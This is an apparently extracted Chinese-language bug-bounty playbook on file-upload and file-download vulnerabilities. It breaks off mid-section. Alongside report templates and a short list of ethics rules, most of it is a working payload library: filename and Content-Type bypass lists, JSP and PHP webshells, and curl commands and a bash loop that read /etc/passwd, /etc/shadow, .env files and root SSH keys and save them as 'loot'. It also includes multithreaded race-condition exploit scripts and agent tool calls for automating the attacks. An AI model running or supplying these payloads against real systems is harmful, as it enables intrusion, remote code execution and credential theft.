| 响应直接返回 | `{"url":"/uploads/2024/abc.jpg"}` |
|
|
132
|
+
| 预览功能 | 上传后页面显示 / 编辑器预览 |
|
|
133
|
+
| 编辑器目录遍历 | `?Command=GetFoldersAndFiles&CurrentFolder=/../` |
|
|
134
|
+
| 时间戳爆破 | `20140829221136jsp.jsp`,秒级偏差 ±60s |
|
|
135
|
+
| 配合 .git 泄露 | 反推命名规则代码 |
|
|
136
|
+
|
|
137
|
+
---
|
|
138
|
+
|
|
139
|
+
## 4. Bypass 矩阵
|
|
140
|
+
|
|
141
|
+
| 防护 | 绕过 |
|
|
142
|
+
|------|------|
|
|
143
|
+
| 客户端 JS | 禁 JS / 抓包改包 |
|
|
144
|
+
| 黑名单后缀 | 大小写、双写、特殊后缀 |
|
|
145
|
+
| 白名单 | `%00`(旧)、解析漏洞、`.jsp/x.jsp.png` |
|
|
146
|
+
| Content-Type | 改 `image/jpeg` |
|
|
147
|
+
| 文件头 | `GIF89a` 头 + 脚本 |
|
|
148
|
+
| 内容静态扫描 | 变量函数 / 编码 / 拼接 |
|
|
149
|
+
| 大小限制 | Chunked / 分片上传 |
|
|
150
|
+
| 二次渲染 | EXIF / IDAT / GIF 注释段 / PNG tEXt |
|
|
151
|
+
| 上传后路径不返回 | 编辑器遍历 / 时间戳爆破 / 配合源码泄露 |
|
|
152
|
+
| 删除时间窗 | 竞态:多线程上传 + 立即访问(Finecms 漏洞) |
|
|
153
|
+
| 非脚本目录 | `filename=../../webroot/shell.php` 路径穿越 |
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## 5. 利用提权 / 横向
|
|
158
|
+
|
|
159
|
+
```
|
|
160
|
+
上传 webshell.jsp / shell.php
|
|
161
|
+
→ 访问 /uploads/shell.php?c=id
|
|
162
|
+
→ 反弹 shell(SRC 不要做)
|
|
163
|
+
→ 提权(不要做)
|
|
164
|
+
→ 横向(不要做)
|
|
165
|
+
|
|
166
|
+
→ SRC 报告时停在"shell.php?c=id 返回 uid=..."
|
|
167
|
+
写入文件命名为 poc-{date}-{nick}.jsp,立即在报告里说明"已请清理"
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
---
|
|
171
|
+
|
|
172
|
+
## 6. 真实案例指纹
|
|
173
|
+
|
|
174
|
+
| 案例 ID | 关键技术 | 目标 |
|
|
175
|
+
|--------|---------|------|
|
|
176
|
+
| wooyun-2015-0108457 | HTTP Response 修改绕过 | 交通系统 |
|
|
177
|
+
| wooyun-2015-0135258 | FCKeditor 编辑器漏洞 | 公共交通 |
|
|
178
|
+
| wooyun-2016-0167456 | `%00` 截断 | 金融系统 |
|
|
179
|
+
| wooyun-2014-064031 | 万户 OA 截断绕过 | 万户 ezOffice |
|
|
180
|
+
| wooyun-2015-090186 | eWebEditor | 政府采购 |
|
|
181
|
+
| wooyun-2014-063369 | Finecms 竞争条件 | Finecms |
|
|
182
|
+
| wooyun-2015-0126541 | 万户 ezOffice 架构分析 | 万户 |
|
|
183
|
+
| wooyun-2015-0149146 | JSPX 绕过 | 保险系统 |
|
|
184
|
+
| wooyun-2015-0158311 | Nginx 解析漏洞 | 门户网站 |
|
|
185
|
+
| wooyun-2016-0212792 | 扩展名绕过 | 运营商 |
|
|
186
|
+
|
|
187
|
+
通用指纹:
|
|
188
|
+
|
|
189
|
+
- 上传响应含 `path`、`url`、`filename` 字段 → 路径已知
|
|
190
|
+
- 站点 `/uploads/`、`/upload/`、`/files/` 直接可访问目录列表 → 浏览
|
|
191
|
+
- IIS 6.0 + `.asp;.jpg` → 经典解析漏洞
|
|
192
|
+
- Apache + 上传 .htaccess 不被禁 → 改解析规则
|
|
193
|
+
- Nginx + URL `x.jpg/y.php` 返回 200 → fix_pathinfo
|
|
194
|
+
|
|
195
|
+
---
|
|
196
|
+
|
|
197
|
+
## 7. 复现 / 证据要点
|
|
198
|
+
|
|
199
|
+
### 7.1 报告必备
|
|
200
|
+
|
|
201
|
+
1. **上传请求包**(含完整 multipart)
|
|
202
|
+
2. **上传响应**(含返回的文件 URL,如有)
|
|
203
|
+
3. **访问 webshell 的请求 + 响应**(证明可执行)
|
|
204
|
+
4. **执行命令的输出**(`id`,脱敏内网信息)
|
|
205
|
+
5. **修复后请清理 PoC 文件**的提示
|
|
206
|
+
|
|
207
|
+
### 7.2 报告 PoC 模板
|
|
208
|
+
|
|
209
|
+
```http
|
|
210
|
+
POST /upload.jsp HTTP/1.1
|
|
211
|
+
Host: target.com
|
|
212
|
+
Content-Type: multipart/form-data; boundary=xxx
|
|
213
|
+
|
|
214
|
+
--xxx
|
|
215
|
+
Content-Disposition: form-data; name="file"; filename="poc-2025-05-09.jsp"
|
|
216
|
+
Content-Type: image/jpeg
|
|
217
|
+
|
|
218
|
+
<%out.println(Runtime.getRuntime().exec("id").getInputStream());%>
|
|
219
|
+
--xxx--
|
|
220
|
+
|
|
221
|
+
# 响应
|
|
222
|
+
{"url":"/uploads/20250509142312poc-2025-05-09.jsp"}
|
|
223
|
+
|
|
224
|
+
# 验证
|
|
225
|
+
GET /uploads/20250509142312poc-2025-05-09.jsp
|
|
226
|
+
→ uid=1001(tomcat) gid=1001(tomcat)
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
### 7.3 CVSS
|
|
230
|
+
|
|
231
|
+
```
|
|
232
|
+
未授权任意文件上传 → RCE CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
|
233
|
+
认证后任意文件上传 → RCE CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
|
|
234
|
+
受限上传(仅前缀绕过) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N = 6.5
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
### 7.4 影响段
|
|
238
|
+
|
|
239
|
+
```
|
|
240
|
+
通过 /upload.jsp 接口,攻击者可绕过扩展名校验上传 .jsp 文件,
|
|
241
|
+
配合 Tomcat 默认解析行为获得 RCE。攻击者可:
|
|
242
|
+
1. 读取 web 应用源码、数据库连接配置;
|
|
243
|
+
2. 横向至内网(应用服务器通常可访问 DB / Redis);
|
|
244
|
+
3. 在不修复情况下持久化驻留。
|
|
245
|
+
|
|
246
|
+
测试时上传文件名 poc-2025-05-09.jsp,命令仅执行 id,
|
|
247
|
+
请贵方在确认漏洞后删除 /uploads/20250509142312poc-2025-05-09.jsp。
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
---
|
|
251
|
+
|
|
252
|
+
## 相关 MCP 工具
|
|
253
|
+
|
|
254
|
+
实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。
|
|
255
|
+
|
|
256
|
+
| 工具 | 域 | 调用时机 |
|
|
257
|
+
|---|---|---|
|
|
258
|
+
| `mcp__jshook__binary_encode` + `mcp__jshook__binary_decode` | encoding | 构造 polyglot(图片头+脚本尾)/ base64 / hex 转换 |
|
|
259
|
+
| `mcp__jshook__ast_transform_apply` + `mcp__jshook__ast_transform_preview` | transform | 修改 magic byte / 改 polyglot 结构 / 改 MIME 嵌入语义 |
|
|
260
|
+
| `mcp__jshook__http_plain_request` | network | 自定义 multipart 边界 / 改 Content-Disposition 头绕过过滤 |
|
|
261
|
+
| `mcp__jshook__network_replay_request` | network | 重放上传请求并改 filename / Content-Type |
|
|
262
|
+
| `mcp__jshook__protobuf_decode_raw` | encoding | 上传响应是 protobuf 时盲解元数据 |
|
|
263
|
+
|
|
264
|
+
完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md)
|
|
265
|
+
|
|
266
|
+
## 8. 不要做的事
|
|
267
|
+
|
|
268
|
+
- **禁**:上传真正的 webshell(带后门、加密通道)。**只用最简单的 jsp/php**:`<%=Runtime.getRuntime().exec("id").getInputStream()%>`。
|
|
269
|
+
- **禁**:上传后做提权、横向、植入持久化。
|
|
270
|
+
- **禁**:上传可被他人误访问的内容(钓鱼页、外链脚本)。
|
|
271
|
+
- **禁**:留下 webshell 不清理。报告里**主动**告知文件路径并请求删除。
|
|
272
|
+
- **禁**:测试覆盖现有合法文件(如 `index.jsp`)——可能影响业务。
|
|
273
|
+
- **限**:测试上传 1–3 个 PoC 文件即停,不批量上传。
|
|
274
|
+
- **报告中**:写明"PoC 文件名为 X,请贵方修复后删除"。
|
|
275
|
+
|
|
276
|
+
## H1 真实案例
|
|
277
|
+
|
|
278
|
+
_共 8 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
|
279
|
+
|
|
280
|
+
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
|
281
|
+
|---|--:|---|---|---|
|
|
282
|
+
| High | 1500 usd | Slack | [Tricking the "Create snippet" feature into displaying the wrong filetype can lead to RCE on Slack…](https://hackerone.com/reports/833080) | Tricking the "Create snippet" feature into displaying the wrong filetype can lead to RCE on Slack users |
|
|
283
|
+
| Critical | 5000 usd | Aiven Ltd | [[Kafka Connect] [JdbcSinkConnector][HttpSinkConnector] RCE by leveraging file upload via SQLite J…](https://hackerone.com/reports/1547877) | Summary: The Aiven JDBC sink includes the SQLite JDBC Driver. This JDBC driver can be used to upload SQLite database files onto… |
|
|
284
|
+
| Critical | — | Mars | [Unrestricted File Upload at ██████████](https://hackerone.com/reports/2357778) | Unrestricted File Upload at ██████████ |
|
|
285
|
+
| High | 4660 usd | Internet Bug Bounty | [Cargo not respecting umask when extracting crate archives](https://hackerone.com/reports/2094785) | Cargo did not properly protect files in the cargo registry. When an archive contained files which were marked as globally write… |
|
|
286
|
+
| High | — | U.S. Dept Of Defense | [Unrestricted File Upload Leads to XSS & Potential RCE](https://hackerone.com/reports/900179) | Summary:** Unrestricted file upload at████████/request?openform. When the user wants to upload a file the app allows the user t… |
|
|
287
|
+
| High | — | WordPress | [[Buddypress] Arbitrary File Deletion through bp_avatar_set](https://hackerone.com/reports/183568) | Hi, The bp_avatar_set action in BuddyPress when cropping avatars allows an attacker to arbitrarily delete a file the webserver … |
|
|
288
|
+
| High | — | Node.js third-party modules | [Arbitrary File Write Through Archive Extraction](https://hackerone.com/reports/362118) | I would like to report arbitrary file write vulnerability in adm-zip module It allows attackers to write arbitrary files when a… |
|
|
289
|
+
| High | — | U.S. Dept Of Defense | [Stored XSS on ████████helpdesk](https://hackerone.com/reports/901799) | Stored XSS on ████████helpdesk |
|
|
290
|
+
|
|
291
|
+
**命中本类的 weakness 分布:**
|
|
292
|
+
|
|
293
|
+
- Unrestricted Upload of File with Dangerous Type:5 条
|
|
294
|
+
- Uncategorized → 手工归类:3 条
|
|
295
|
+
|
|
296
|
+
|
|
297
|
+
## Payload 库
|
|
298
|
+
|
|
299
|
+
_7 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
|
|
300
|
+
|
|
301
|
+
### 文件上传绕过 `file-upload-bypass`
|
|
302
|
+
文件上传限制绕过技术
|
|
303
|
+
子类:**文件上传** · tags: `upload` `bypass` `webshell`
|
|
304
|
+
|
|
305
|
+
**前置条件:** 目标存在文件上传功能;存在上传限制
|
|
306
|
+
|
|
307
|
+
**攻击链:**
|
|
308
|
+
|
|
309
|
+
**1. 扩展名绕过**
|
|
310
|
+
_扩展名绕过(含大小写、双后缀)_
|
|
311
|
+
```
|
|
312
|
+
shell.php.jpg
|
|
313
|
+
shell.php%00.jpg
|
|
314
|
+
shell.phtml
|
|
315
|
+
shell.php5
|
|
316
|
+
shell.phar
|
|
317
|
+
shell.PhP
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
**2. Content-Type**
|
|
321
|
+
_修改Content-Type_
|
|
322
|
+
```
|
|
323
|
+
Content-Type: image/jpeg
|
|
324
|
+
Content-Type: image/png
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
**3. 图片马** _[windows]_
|
|
328
|
+
_图片马制作_
|
|
329
|
+
```
|
|
330
|
+
copy normal.jpg/b + shell.php/a webshell.jpg
|
|
331
|
+
```
|
|
332
|
+
|
|
333
|
+
**4. 空格绕过** _[windows]_
|
|
334
|
+
_文件名末尾空格_
|
|
335
|
+
```
|
|
336
|
+
# 空格/空字符绕过后缀检测:
|
|
337
|
+
# 1. 文件名末尾加空格(Windows特性,保存时自动去除):
|
|
338
|
+
filename="shell.php "
|
|
339
|
+
|
|
340
|
+
# 2. %20编码空格:
|
|
341
|
+
Content-Disposition: form-data; name="file"; filename="shell.php%20"
|
|
342
|
+
|
|
343
|
+
# 3. 空字节截断(PHP<5.3.4):
|
|
344
|
+
filename="shell.php%00.jpg"
|
|
345
|
+
filename="shell.php\x00.jpg"
|
|
346
|
+
|
|
347
|
+
# 4. 制表符注入:
|
|
348
|
+
filename="shell.php%09.jpg"
|
|
349
|
+
|
|
350
|
+
# Burp中操作: 拦截上传请求 → 在filename中的.php后手动添加空格/空字节
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
**5. 点号绕过** _[windows]_
|
|
354
|
+
_文件名末尾点号_
|
|
355
|
+
```
|
|
356
|
+
# 点号/特殊字符绕过:
|
|
357
|
+
# 1. 末尾加点(Windows会自动去除末尾的点):
|
|
358
|
+
filename="shell.php."
|
|
359
|
+
filename="shell.php..."
|
|
360
|
+
|
|
361
|
+
# 2. 点+空格组合:
|
|
362
|
+
filename="shell.php. "
|
|
363
|
+
filename="shell.php .jpg"
|
|
364
|
+
|
|
365
|
+
# 3. 分号截断(IIS 6.0):
|
|
366
|
+
filename="shell.asp;.jpg"
|
|
367
|
+
filename="test.asp;x.jpg"
|
|
368
|
+
|
|
369
|
+
# 4. ::概念(不执行,仅说明)
|
|
370
|
+
# Windows NTFS流: shell.php::DATA_STREAM
|
|
371
|
+
|
|
372
|
+
# 5. 换行符注入:
|
|
373
|
+
filename="shell.ph
|
|
374
|
+
p"
|
|
375
|
+
|
|
376
|
+
# 测试: 上传后访问URL,确认文件是否被当作PHP解析
|
|
377
|
+
curl "http://target.com/uploads/shell.php." -v
|
|
378
|
+
```
|
|
379
|
+
|
|
380
|
+
**6. NTFS流** _[windows]_
|
|
381
|
+
_NTFS ADS绕过_
|
|
382
|
+
```
|
|
383
|
+
# Windows NTFS备用数据流绕过:
|
|
384
|
+
# 1. 标准NTFS ADS绕过:
|
|
385
|
+
filename="shell.php::DATA"
|
|
386
|
+
# Windows会自动忽略::DATA后缀,文件保存为shell.php
|
|
387
|
+
|
|
388
|
+
# 2. 其他ADS变体:
|
|
389
|
+
filename="shell.php::INDEX_ALLOCATION"
|
|
390
|
+
filename="shell.php:evil.php"
|
|
391
|
+
filename="shell.php:evil.txt:DATA"
|
|
392
|
+
|
|
393
|
+
# 3. 在Burp中操作:
|
|
394
|
+
# 拦截上传请求
|
|
395
|
+
# 修改filename为: shell.php::DATA
|
|
396
|
+
# 发送请求
|
|
397
|
+
|
|
398
|
+
# 4. 验证文件是否上传:
|
|
399
|
+
curl "http://target.com/uploads/shell.php" -v
|
|
400
|
+
curl "http://target.com/uploads/shell.php::DATA" -v
|
|
401
|
+
|
|
402
|
+
# 注意: 仅在Windows(IIS/NTFS)环境有效,Linux无此特性
|
|
403
|
+
```
|
|
404
|
+
|
|
405
|
+
**7. 双写绕过**
|
|
406
|
+
_双写扩展名_
|
|
407
|
+
```
|
|
408
|
+
# 双写后缀绕过(当服务器仅删除一次敏感后缀时):
|
|
409
|
+
# 1. PHP双写:
|
|
410
|
+
filename="shell.pphphp" # 删除php后剩余shell.php
|
|
411
|
+
filename="shell.pHPhp" # 大小写混合双写
|
|
412
|
+
filename="shell.phphpp" # 不同位置双写
|
|
413
|
+
|
|
414
|
+
# 2. ASP双写:
|
|
415
|
+
filename="shell.asaspp" # 删除asp后剩余shell.asp
|
|
416
|
+
filename="shell.aaspsp"
|
|
417
|
+
|
|
418
|
+
# 3. JSP双写:
|
|
419
|
+
filename="shell.jjspsp"
|
|
420
|
+
|
|
421
|
+
# 4. 多层嵌套:
|
|
422
|
+
filename="shell.phpphpphp" # 两次删除后仍为.php
|
|
423
|
+
|
|
424
|
+
# 5. 结合大小写:
|
|
425
|
+
filename="shell.PhPhPp"
|
|
426
|
+
|
|
427
|
+
# 验证: 上传后确认服务器保存的实际文件名
|
|
428
|
+
curl -I "http://target.com/uploads/shell.php"
|
|
429
|
+
```
|
|
430
|
+
|
|
431
|
+
**WAF/EDR 绕过变体:**
|
|
432
|
+
|
|
433
|
+
**1. 双扩展名与NTFS数据流绕过**
|
|
434
|
+
_利用双扩展名欺骗文件类型检测,Windows NTFS备用数据流(::$DATA)绕过扩展名检查,特殊字符(空格、点号、空字节)截断文件名_
|
|
435
|
+
```
|
|
436
|
+
# 双扩展名:
|
|
437
|
+
shell.php.jpg
|
|
438
|
+
shell.jpg.php
|
|
439
|
+
shell.php.test
|
|
440
|
+
shell.php%00.jpg
|
|
441
|
+
|
|
442
|
+
# NTFS备用数据流(Windows):
|
|
443
|
+
shell.php::$DATA
|
|
444
|
+
shell.php::$DATA.jpg
|
|
445
|
+
shell.asp;.jpg
|
|
446
|
+
|
|
447
|
+
# 特殊字符:
|
|
448
|
+
shell.php%20
|
|
449
|
+
shell.php.
|
|
450
|
+
shell.php....
|
|
451
|
+
shell.php\x00.jpg
|
|
452
|
+
```
|
|
453
|
+
|
|
454
|
+
**2. Content-Disposition操纵与分块上传**
|
|
455
|
+
_通过Content-Disposition头的filename编码变体、分块传输编码(Chunked)绕过WAF流检测,利用PHP包装器协议访问压缩包内的恶意文件_
|
|
456
|
+
```
|
|
457
|
+
# Content-Disposition字段名包裹绕过:
|
|
458
|
+
Content-Disposition: form-data; name="file"; filename="shell.php"
|
|
459
|
+
Content-Disposition: form-data; name="file"; filename*=UTF-8''shell.php
|
|
460
|
+
Content-Disposition: form-data; name="file"; filename="shell.php"
|
|
461
|
+
|
|
462
|
+
# 分块传输编码:
|
|
463
|
+
Transfer-Encoding: chunked
|
|
464
|
+
|
|
465
|
+
# PHP Wrapper上传:
|
|
466
|
+
zip://uploads/avatar.jpg%23shell
|
|
467
|
+
phar://uploads/avatar.jpg/shell.php
|
|
468
|
+
|
|
469
|
+
# 竞态条件:
|
|
470
|
+
# 上传后立即在文件被删除前访问
|
|
471
|
+
```
|
|
472
|
+
|
|
473
|
+
---
|
|
474
|
+
|
|
475
|
+
### 任意文件下载 `file-download`
|
|
476
|
+
利用文件下载功能中的路径控制缺陷下载服务器上的任意敏感文件
|
|
477
|
+
子类:**下载** · tags: `file-download` `lfi` `leak`
|
|
478
|
+
|
|
479
|
+
**前置条件:** 目标存在文件下载功能;文件路径参数可控;服务端未对路径进行严格过滤
|
|
480
|
+
|
|
481
|
+
**攻击链:**
|
|
482
|
+
|
|
483
|
+
**1. 识别文件下载接口**
|
|
484
|
+
_识别目标的文件下载接口和参数名_
|
|
485
|
+
```
|
|
486
|
+
# 常见文件下载URL模式:
|
|
487
|
+
curl -v "http://target.com/download?file=report.pdf"
|
|
488
|
+
curl -v "http://target.com/download.php?path=uploads/doc.pdf"
|
|
489
|
+
curl -v "http://target.com/api/file/read?name=image.jpg"
|
|
490
|
+
curl -v "http://target.com/export?filename=data.csv"
|
|
491
|
+
curl -v "http://target.com/attachment/get/123"
|
|
492
|
+
```
|
|
493
|
+
|
|
494
|
+
**2. 路径遍历下载敏感文件**
|
|
495
|
+
_利用路径遍历序列读取Web根目录以外的敏感系统和应用配置文件_
|
|
496
|
+
```
|
|
497
|
+
# Linux敏感文件:
|
|
498
|
+
curl "http://target.com/download?file=../../../etc/passwd"
|
|
499
|
+
curl "http://target.com/download?file=....//....//....//etc/shadow"
|
|
500
|
+
curl "http://target.com/download?file=%2e%2e/%2e%2e/%2e%2e/etc/passwd"
|
|
501
|
+
curl "http://target.com/download?file=..%252f..%252f..%252fetc/passwd"
|
|
502
|
+
|
|
503
|
+
# Windows敏感文件:
|
|
504
|
+
curl "http://target.com/download?file=......windowswin.ini"
|
|
505
|
+
curl "http://target.com/download?file=......windowssystem32configSAM"
|
|
506
|
+
|
|
507
|
+
# Web应用配置文件:
|
|
508
|
+
curl "http://target.com/download?file=../WEB-INF/web.xml"
|
|
509
|
+
curl "http://target.com/download?file=../application.properties"
|
|
510
|
+
curl "http://target.com/download?file=../.env"
|
|
511
|
+
curl "http://target.com/download?file=../config/database.yml"
|
|
512
|
+
```
|
|
513
|
+
|
|
514
|
+
**3. 下载源码与数据库配置** _[linux]_
|
|
515
|
+
_针对性下载应用源码和数据库配置文件获取数据库凭证_
|
|
516
|
+
```
|
|
517
|
+
# Java应用关键文件:
|
|
518
|
+
curl "http://target.com/download?file=../../WEB-INF/web.xml" -o web.xml
|
|
519
|
+
curl "http://target.com/download?file=../../WEB-INF/classes/application.yml" -o app.yml
|
|
520
|
+
curl "http://target.com/download?file=../../WEB-INF/classes/db.properties" -o db.properties
|
|
521
|
+
|
|
522
|
+
# PHP应用:
|
|
523
|
+
curl "http://target.com/download?file=../../config.php" -o config.php
|
|
524
|
+
curl "http://target.com/download?file=../../.env" -o .env
|
|
525
|
+
|
|
526
|
+
# Node.js应用:
|
|
527
|
+
curl "http://target.com/download?file=../../package.json" -o package.json
|
|
528
|
+
curl "http://target.com/download?file=../../.env" -o .env
|
|
529
|
+
|
|
530
|
+
# 提取数据库凭证:
|
|
531
|
+
grep -iE "password|passwd|pwd|secret|key|db_|database|mysql|postgres" *.yml *.xml *.properties *.env 2>/dev/null
|
|
532
|
+
```
|
|
533
|
+
|
|
534
|
+
**4. 自动化批量敏感文件探测** _[linux]_
|
|
535
|
+
_自动化探测和下载多个常见敏感文件_
|
|
536
|
+
```
|
|
537
|
+
#!/bin/bash
|
|
538
|
+
# 批量测试常见敏感文件路径
|
|
539
|
+
BASE="http://target.com/download?file="
|
|
540
|
+
FILES=(
|
|
541
|
+
"../../../etc/passwd" "../../../etc/shadow" "../../../etc/hosts"
|
|
542
|
+
"../../../proc/self/environ" "../../../proc/self/cmdline"
|
|
543
|
+
"../../WEB-INF/web.xml" "../../WEB-INF/classes/application.properties"
|
|
544
|
+
"../../.env" "../../config.php" "../../web.config"
|
|
545
|
+
"../../../root/.ssh/id_rsa" "../../../root/.bash_history"
|
|
546
|
+
"../../../var/log/apache2/access.log"
|
|
547
|
+
)
|
|
548
|
+
|
|
549
|
+
for f in "${FILES[@]}"; do
|
|
550
|
+
resp=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" "${BASE}${f}")
|
|
551
|
+
code=$(echo $resp | cut -d: -f1)
|
|
552
|
+
size=$(echo $resp | cut -d: -f2)
|
|
553
|
+
if [ "$code" == "200" ] && [ "$size" -gt 0 ]; then
|
|
554
|
+
echo "[+] FOUND: $f (HTTP $code, $size bytes)"
|
|
555
|
+
curl -s "${BASE}${f}" -o "loot_$(echo $f | tr '/' '_')"
|
|
556
|
+
fi
|
|
557
|
+
done
|
|
558
|
+
```
|
|
559
|
+
|
|
560
|
+
**WAF/EDR 绕过变体:**
|
|
561
|
+
|
|
562
|
+
**1. 双重URL编码绕过**
|
|
563
|
+
_利用双重URL编码、Unicode超长编码等绕过WAF对路径遍历字符的检测_
|
|
564
|
+
```
|
|
565
|
+
# 双重编码../
|
|
566
|
+
?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd
|
|
567
|
+
?file=%252e%252e%255cetc%255cpasswd
|
|
568
|
+
|
|
569
|
+
# Unicode编码变体
|
|
570
|
+
?file=..%c0%af..%c0%afetc/passwd
|
|
571
|
+
?file=..%ef%bc%8f..%ef%bc%8fetc/passwd
|
|
572
|
+
|
|
573
|
+
# 混合编码
|
|
574
|
+
?file=..%2f..%2f..%2fetc%2fpasswd
|
|
575
|
+
?file=....//....//etc/passwd
|
|
576
|
+
```
|
|
577
|
+
|
|
578
|
+
**2. 参数名替换与路径操控**
|
|
579
|
+
_尝试不同的文件参数名和URL协议wrapper绕过WAF规则_
|
|
580
|
+
```
|
|
581
|
+
# 常见文件下载参数名Fuzz
|
|
582
|
+
?path=../../etc/passwd
|
|
583
|
+
?filepath=../../etc/passwd
|
|
584
|
+
?filename=../../etc/passwd
|
|
585
|
+
?doc=../../etc/passwd
|
|
586
|
+
?download=../../etc/passwd
|
|
587
|
+
?src=../../etc/passwd
|
|
588
|
+
?url=file:///etc/passwd
|
|
589
|
+
|
|
590
|
+
# 利用URL协议
|
|
591
|
+
?file=file:///etc/passwd
|
|
592
|
+
?file=php://filter/convert.base64-encode/resource=config.php
|
|
593
|
+
```
|
|
594
|
+
|
|
595
|
+
**3. 空字节截断与后缀绕过**
|
|
596
|
+
_利用空字节截断、路径长度限制和特殊字符混淆绕过文件路径检查_
|
|
597
|
+
```
|
|
598
|
+
# 空字节截断(PHP < 5.3.4)
|
|
599
|
+
?file=../../etc/passwd%00
|
|
600
|
+
?file=../../etc/passwd%00.jpg
|
|
601
|
+
|
|
602
|
+
# 路径截断(Windows长路径)
|
|
603
|
+
?file=../../etc/passwd..............................................................
|
|
604
|
+
|
|
605
|
+
# 点斜杠混淆
|
|
606
|
+
?file=....//....//....//etc/passwd
|
|
607
|
+
?file=..;/..;/..;/etc/passwd
|
|
608
|
+
?file=..\..\..\etc\passwd
|
|
609
|
+
```
|
|
610
|
+
|
|
611
|
+
---
|
|
612
|
+
|
|
613
|
+
### 条件竞争 `file-competition`
|
|
614
|
+
利用文件上传/处理过程中的竞态条件(Race Condition),在安全检查与文件使用之间的时间窗口内执行恶意操作
|
|
615
|
+
子类:**Race Condition** · tags: `race-condition` `file-upload`
|
|
616
|
+
|
|
617
|
+
**前置条件:** 目标存在文件上传功能;服务端先上传后检查的处理流程;可以高并发访问上传的文件;了解临时文件存储路径
|
|
618
|
+
|
|
619
|
+
**攻击链:**
|
|
620
|
+
|
|
621
|
+
**1. 识别竞态条件窗口** _[linux]_
|
|
622
|
+
_分析文件上传的处理流程,识别安全检查前后的时间窗口_
|
|
623
|
+
```
|
|
624
|
+
# 分析上传流程:
|
|
625
|
+
# 1. 文件上传到临时目录
|
|
626
|
+
# 2. 后端进行安全检查(文件类型/内容)
|
|
627
|
+
# 3. 如果检查通过则保留,否则删除
|
|
628
|
+
# 在步骤1和步骤3之间存在时间窗口
|
|
629
|
+
|
|
630
|
+
# 测试上传响应时间(判断是否有检查延迟)
|
|
631
|
+
for i in $(seq 1 5); do
|
|
632
|
+
time curl -s -o /dev/null -w "%{http_code}" -F "file=@test.jpg" "http://target.com/upload"
|
|
633
|
+
done
|
|
634
|
+
```
|
|
635
|
+
|
|
636
|
+
**2. 竞态条件利用 - 上传与访问并发** _[linux]_
|
|
637
|
+
_在上传后安全检查删除之前的时间窗口内访问执行恶意文件_
|
|
638
|
+
```
|
|
639
|
+
# 恶意PHP文件 (shell.php):
|
|
640
|
+
# <?php system($_GET["cmd"]); ?>
|
|
641
|
+
|
|
642
|
+
# 方法1: 使用两个终端并发操作
|
|
643
|
+
# 终端1 - 持续上传:
|
|
644
|
+
while true; do
|
|
645
|
+
curl -s -F "file=@shell.php" "http://target.com/upload" &
|
|
646
|
+
done
|
|
647
|
+
|
|
648
|
+
# 终端2 - 持续访问:
|
|
649
|
+
while true; do
|
|
650
|
+
result=$(curl -s "http://target.com/uploads/shell.php?cmd=id")
|
|
651
|
+
if echo "$result" | grep -q "uid="; then
|
|
652
|
+
echo "[+] RCE SUCCESS: $result"
|
|
653
|
+
break
|
|
654
|
+
fi
|
|
655
|
+
done
|
|
656
|
+
```
|
|
657
|
+
|
|
658
|
+
**3. Python并发竞态利用脚本**
|
|
659
|
+
_多线程并发上传与访问,提高竞态条件利用成功率_
|
|
660
|
+
```
|
|
661
|
+
import requests
|
|
662
|
+
import threading
|
|
663
|
+
import time
|
|
664
|
+
|
|
665
|
+
TARGET = "http://target.com"
|
|
666
|
+
UPLOAD_URL = f"{TARGET}/upload"
|
|
667
|
+
SHELL_URL = f"{TARGET}/uploads/shell.php?cmd=id"
|
|
668
|
+
|
|
669
|
+
def upload_loop():
|
|
670
|
+
files = {"file": ("shell.php", "<?php system($_GET['cmd']); ?>", "image/jpeg")}
|
|
671
|
+
while not stop_event.is_set():
|
|
672
|
+
try:
|
|
673
|
+
requests.post(UPLOAD_URL, files=files, timeout=2)
|
|
674
|
+
except: pass
|
|
675
|
+
|
|
676
|
+
def access_loop():
|
|
677
|
+
while not stop_event.is_set():
|
|
678
|
+
try:
|
|
679
|
+
r = requests.get(SHELL_URL, timeout=1)
|
|
680
|
+
if "uid=" in r.text:
|
|
681
|
+
print(f"[+] RCE! Response: {r.text[:200]}")
|
|
682
|
+
stop_event.set()
|
|
683
|
+
return
|
|
684
|
+
except: pass
|
|
685
|
+
|
|
686
|
+
stop_event = threading.Event()
|
|
687
|
+
threads = []
|
|
688
|
+
for _ in range(10):
|
|
689
|
+
threads.append(threading.Thread(target=upload_loop))
|
|
690
|
+
for _ in range(20):
|
|
691
|
+
threads.append(threading.Thread(target=access_loop))
|
|
692
|
+
for t in threads: t.start()
|
|
693
|
+
time.sleep(60)
|
|
694
|
+
stop_event.set()
|
|
695
|
+
for t in threads: t.join()
|
|
696
|
+
```
|
|
697
|
+
|
|
698
|
+
**4. .htaccess竞态写入** _[linux]_
|
|
699
|
+
_利用.htaccess的竞态上传使Apache将图片文件按PHP解析执行_
|
|
700
|
+
```
|
|
701
|
+
# 如果可以上传.htaccess文件(即使会被删除):
|
|
702
|
+
# .htaccess内容:
|
|
703
|
+
AddType application/x-httpd-php .jpg
|
|
704
|
+
|
|
705
|
+
# 竞态利用:
|
|
706
|
+
# 1. 先正常上传一个含PHP代码的.jpg文件
|
|
707
|
+
curl -F "file=@shell.jpg" "http://target.com/upload"
|
|
708
|
+
|
|
709
|
